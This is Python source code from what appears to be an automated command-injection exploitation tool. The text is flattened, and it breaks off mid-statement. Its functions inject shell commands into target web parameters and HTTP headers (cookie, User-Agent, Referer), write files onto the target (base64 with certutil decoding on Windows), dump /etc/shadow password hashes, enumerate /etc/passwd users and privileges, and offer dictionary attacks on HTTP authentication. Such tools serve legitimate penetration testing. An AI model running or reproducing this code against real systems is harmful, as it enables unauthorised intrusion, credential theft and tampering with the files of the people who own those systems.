(settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print("") success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account + "\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print(settings.print_warning_msg(warn_msg))
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = True file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: content = [ line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file ] content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 content = base64.b64encode(content) else: warn_msg = "It seems that '" + file_to_write + "' is not a file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() if os.path.split(menu.options.file_dest)[1] == "": dest_to_write = os.path.split( menu.options.file_dest)[0] + "/" + os.path.split( menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_write = "/" + os.path.split( menu.options.file_dest)[1] + "/" + os.path.split( menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest # Execute command if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACE[0] dest_to_write = dest_to_write.replace("\\", "/") # Find path path = os.path.dirname(dest_to_write) path = path.replace("/", "\\") # Change directory cmd = "cd " + path response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Find filename filname = os.path.basename(dest_to_write) tmp_filname = "tmp_" + filname cmd = settings.FILE_WRITE + content + ">" + tmp_filname if not menu.options.alter_shell: cmd = "\"" + cmd + "\"" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Decode base 64 encoding cmd = "certutil -decode " + tmp_filname + " " + filname if not menu.options.alter_shell: cmd = "\"" + cmd + "\"" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) # Delete tmp file cmd = "del " + tmp_filname if not menu.options.alter_shell: cmd = "\"" + cmd + "\"" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) # Check if file exists cmd = "if exist " + filname + " (echo " + filname + ")" if not menu.options.alter_shell: cmd = "'" + cmd + "'" dest_to_write = path + "\\" + filname else: cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) # Check if file exists cmd = "echo $(ls " + dest_to_write + ")" print("") check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass if settings.VERBOSITY_LEVEL <= 1 and _: print("") if shell: success_msg = "The '" + shell + Style.RESET_ALL success_msg += Style.BRIGHT + "' file was created successfully!\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to " warn_msg += "write the '" + dest_to_upload + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": # Not yet implemented! pass else: cmd = settings.SYS_PASSES if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) _ = True if output == False: output = "" session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_passes = output if sys_passes == "": sys_passes = " " if sys_passes: info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_passes)) success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] success_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[ 1] and fields[1] != "": print(" [" + str(count) + "] " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") '" + fields[0] + " : " + fields[1]) output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1: warn_msg = "It seems that '" + settings.SHADOW_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." sys.stdout.write( settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush()
def enumeration(url, cve, check_header, filename): #------------------------------- # Hostname enumeration #------------------------------- if menu.options.hostname: cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: success_msg = "The hostname is " + str(shell) sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + str(shell) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True #------------------------------- # Retrieve system information #------------------------------- if menu.options.sys_info: cmd = settings.RECOGNISE_OS target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_os: if target_os == "Linux": cmd = settings.DISTRO_INFO distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_arch: success_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + str(target_os) success_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: success_msg = "The target operating system is " + target_os sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + str(target_os) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True #------------------------------- # The current user enumeration #------------------------------- if menu.options.current_user: cmd = settings.CURRENT_USER cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) if cu_account: if menu.options.is_root: cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) cmd = ''.join(cmd).replace("(","").replace(")","") shell, payload = cmd_exec(url, cmd, cve, check_header, filename) success_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + str(cu_account) output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() if shell: if shell != "0": sys.stdout.write(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: success_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + str(cu_account) + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True #------------------------------- # System users enumeration #------------------------------- if menu.options.users: cmd = settings.SYS_USERS sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1 : sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file." print("\n" + settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : sys.stdout.write(settings.SUCCESS_STATUS) success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " in '" + settings.PASSWD_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int(fields[1]) < 99 : is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else : is_privileged = "" is_privileged_nh = "" else : is_privileged = "" is_privileged_nh = "" print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") sys.stdout.flush() pass except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass settings.ENUMERATION_DONE = True #------------------------------------- # System password enumeration #------------------------------------- if menu.options.passwords: cmd = settings.SYS_PASSES sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_passes : sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split( ) if len(sys_passes) != 0 : info_msg = "Fetching '" + settings.SHADOW_FILE info_msg += "' to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write(settings.SUCCESS_STATUS) success_msg = "Identified " + str(len(sys_passes)) success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] success_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg ) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate (/etc/shadow) format except IndexError: if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") print(fields[0]) output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True
def check_target_os(server_banner): found_os_server = False if menu.options.os and checks.user_defined_os(): user_defined_os = settings.TARGET_OS if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target operating system... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Procedure for target OS identification. for i in range(0,len(settings.SERVER_OS_BANNERS)): match = re.search(settings.SERVER_OS_BANNERS[i].lower(), server_banner.lower()) if match: found_os_server = True settings.TARGET_OS = match.group(0) match = re.search(r"microsoft|win", settings.TARGET_OS) if match: identified_os = "Windows" if menu.options.os and user_defined_os != "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os settings.TARGET_OS = identified_os[:3].lower() if menu.options.shellshock: err_msg = "The shellshock module is not available for " err_msg += identified_os + " targets." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os if settings.VERBOSITY_LEVEL >= 1 : if found_os_server: print("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "The target operating system appears to be " success_msg += identified_os.title() + Style.RESET_ALL + "." print(settings.print_success_msg(success_msg)) else: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "Heuristics have failed to identify server's operating system." print(settings.print_warning_msg(warn_msg)) if found_os_server == False and not menu.options.os: # If "--shellshock" option is provided then, # by default is a Linux/Unix operating system. if menu.options.shellshock: pass else: if menu.options.batch: if not settings.CHECK_BOTH_OS: settings.CHECK_BOTH_OS = True check_type = "unix-based" elif settings.CHECK_BOTH_OS: settings.TARGET_OS = "win" settings.CHECK_BOTH_OS = False settings.PERFORM_BASIC_SCANS = True check_type = "windows-based" info_msg = "Setting the " + check_type + " payloads." print(settings.print_info_msg(info_msg)) else: while True: question_msg = "Do you recognise the server's operating system? " question_msg += "[(W)indows/(U)nix/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) got_os = sys.stdin.readline().replace("\n","").lower() if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "w": settings.TARGET_OS = "win" break elif got_os.lower() == "u": break elif got_os.lower() == "q": raise SystemExit() else: err_msg = "'" + got_os + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass
def estimate_response_time(url, timesec): stored_auth_creds = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Estimating the target URL response time... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: url = parameters.get_url_part(url) request = urllib2.Request(url) headers.do_check(request) start = time.time() try: response = urllib2.urlopen(request) response.read(1) response.close() # except urllib2.HTTPError, err: # pass except urllib2.HTTPError, err: ignore_start = time.time() if "Unauthorized" in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: pass else: if settings.VERBOSITY_LEVEL >= 1: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") err_msg = "Unable to connect to the target URL" try: err_msg += " (" + str(err.args[0]).split("] ")[1] + ")." except IndexError: err_msg += " (" + str(err) + ")." print(settings.print_critical_msg(err_msg)) # Check for HTTP Error 401 (Unauthorized). if str(err.getcode()) == settings.UNAUTHORIZED_ERROR: try: # Get the auth header value auth_line = err.headers.get('www-authenticate', '') # Checking for authentication type name. auth_type = auth_line.split()[0] settings.SUPPORTED_HTTP_AUTH_TYPES.index(auth_type.lower()) # Checking for the realm attribute. try: auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") except: realm = False except ValueError: err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") " err_msg += "is not yet supported." print(settings.print_critical_msg(err_msg)) + "\n" raise SystemExit() except IndexError: err_msg = "The provided pair of " + str(menu.options.auth_type) err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'" err_msg += " seems to be invalid." print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): if checks.identified_http_auth_type(auth_type): menu.options.auth_type = auth_type.lower() else: menu.options.auth_type = auth_type.lower() # Check for stored auth credentials. if not menu.options.auth_cred: try: stored_auth_creds = session_handler.export_valid_credentials(url, auth_type.lower()) except: stored_auth_creds = False if stored_auth_creds: menu.options.auth_cred = stored_auth_creds success_msg = "Identified a valid (stored) pair of credentials '" success_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." print(settings.print_success_msg(success_msg)) else: # Basic authentication if menu.options.auth_type == "basic": if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = "(" + menu.options.auth_type.capitalize() + ") " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() else: do_update = "" if len(do_update) == 0: do_update = "y" if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: raise SystemExit() elif do_update in settings.CHOICE_NO: checks.http_auth_err_msg() elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + do_update + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass # Digest authentication elif menu.options.auth_type == "digest": if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = "(" + menu.options.auth_type.capitalize() + ") " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) # Check if heuristics have failed to identify the realm attribute. if not realm: warn_msg = "Heuristics have failed to identify the realm attribute." print(settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() else: do_update = "" if len(do_update) == 0: do_update = "y" if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: raise SystemExit() elif do_update in settings.CHOICE_NO: checks.http_auth_err_msg() elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + do_update + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: checks.http_auth_err_msg() else: pass ignore_end = time.time() start = start - (ignore_start - ignore_end)
def cb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "Results-based Command Injection" technique = "classic injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: print settings.print_payload(payload) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Evaluate test results. shell = cb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The (" + http_request_method + ")" success_msg += found_vuln_parameter + header_name success_msg += the_type + " is vulnerable to " + injection_type + "." print settings.print_success_msg(success_msg) print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title( ) + Style.RESET_ALL + "" print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub( "%20", " ", re.sub("%2B", "+", payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True") else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass else: if 